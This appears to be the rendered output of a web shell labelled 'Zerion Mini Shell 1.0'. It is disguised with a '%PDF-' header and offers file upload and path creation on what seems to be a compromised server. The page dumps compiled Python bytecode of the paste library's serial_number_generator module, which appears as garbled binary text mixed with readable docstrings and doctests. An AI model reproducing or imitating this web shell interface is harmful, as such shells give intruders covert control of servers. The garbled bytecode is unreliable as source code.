%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib/python2.7/site-packages/paste/exceptions/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib/python2.7/site-packages/paste/exceptions/serial_number_generator.pyo

�
a�Nc@s�dZyddlmZWn!ek
r=ddlmZnXdZee�Zd�Zeedde
d�Zidd6d	d
6Ze
dkr�ddlZej�ndS(
s�
Creates a human-readable identifier, using numbers and digits,
avoiding ambiguous numbers and letters.  hash_identifier can be used
to create compact representations that are unique for a certain string
(or concatenation of strings)
i����(tmd5t23456789abcdefghjkmnpqrtuvwxyzcCs�t|ttf�s(td|��n|dkrGtd|��ng}x/|r~|t}|jt|�|t}qPWdj|�S(s,
    Encodes a number as an identifier.
    s6You can only make identifiers out of integers (not %r)is7You cannot make identifiers out of negative numbers: %rt(t
isinstancetinttlongt
ValueErrortbasetappendtgood_characterstjoin(tnumbertresulttnext((sY/opt/alt/python27/lib/python2.7/site-packages/paste/exceptions/serial_number_generator.pytmake_identifiers

	
RcCsWt|�s|j}n|dkr@|tkr@td|�nt|t�ra|jd�}n|t|��}|j�}t	|}	d}
x,t
|�D]}|
dt|�|	}
q�Wt|
�}|r�t
d|t|�|}n|r:g}
x*|r'|
jd||�|| }q�Wdj|
�}n|rO|j�}n||S(s�
    Hashes the string (with the given hashing module), then turns that
    hash into an identifier of the given length (using modulo to
    reduce the length of the identifier).  If ``pad`` is False, then
    the minimum-length identifier will be used; otherwise the
    identifier will be padded with 0's as necessary.

    ``prefix`` will be added last, and does not count towards the
    target length.  ``group`` will group the characters with ``-`` in
    the given lengths, and also does not count towards the target
    length.  E.g., ``group=4`` will cause a identifier like
    ``a5f3-hgk3-asdf``.  Grouping occurs before the prefix.
    isJmd5 cannot create hashes longer than 26 characters in length (you gave %s)sutf-8iit-(tcallabletnewRRRtunicodetencodetstrtdigestRtlisttordRR	tlentinsertR
tupper(tstlengthtpadthashertprefixtgroupRthtbin_hashtmoduloRtctidenttparts((sY/opt/alt/python27/lib/python2.7/site-packages/paste/exceptions/serial_number_generator.pythash_identifier(s4

	s�
    >>> make_identifier(0)
    ''
    >>> make_identifier(1000)
    'c53'
    >>> make_identifier(-100)
    Traceback (most recent call last):
        ...
    ValueError: You cannot make identifiers out of negative numbers: -100
    >>> make_identifier('test')
    Traceback (most recent call last):
        ...
    ValueError: You can only make identifiers out of integers (not 'test')
    >>> make_identifier(1000000000000)
    'c53x9rqh3'
    Rs'
    >>> hash_identifier(0, 5)
    'cy2dr'
    >>> hash_identifier(0, 10)
    'cy2dr6rg46'
    >>> hash_identifier('this is a test of a long string', 5)
    'awatu'
    >>> hash_identifier(0, 26)
    'cy2dr6rg46cx8t4w2f3nfexzk4'
    >>> hash_identifier(0, 30)
    Traceback (most recent call last):
        ...
    ValueError: md5 cannot create hashes longer than 26 characters in length (you gave 30)
    >>> hash_identifier(0, 10, group=4)
    'cy-2dr6-rg46'
    >>> hash_identifier(0, 10, group=4, upper=True, prefix='M-')
    'M-CY-2DR6-RG46'
    R't__main__N(t__doc__thashlibRtImportErrorR	RRRtTruetNonetFalseR't__test__t__name__tdoctestttestmod(((sY/opt/alt/python27/lib/python2.7/site-packages/paste/exceptions/serial_number_generator.pyt<module>	s
		+


Zerion Mini Shell 1.0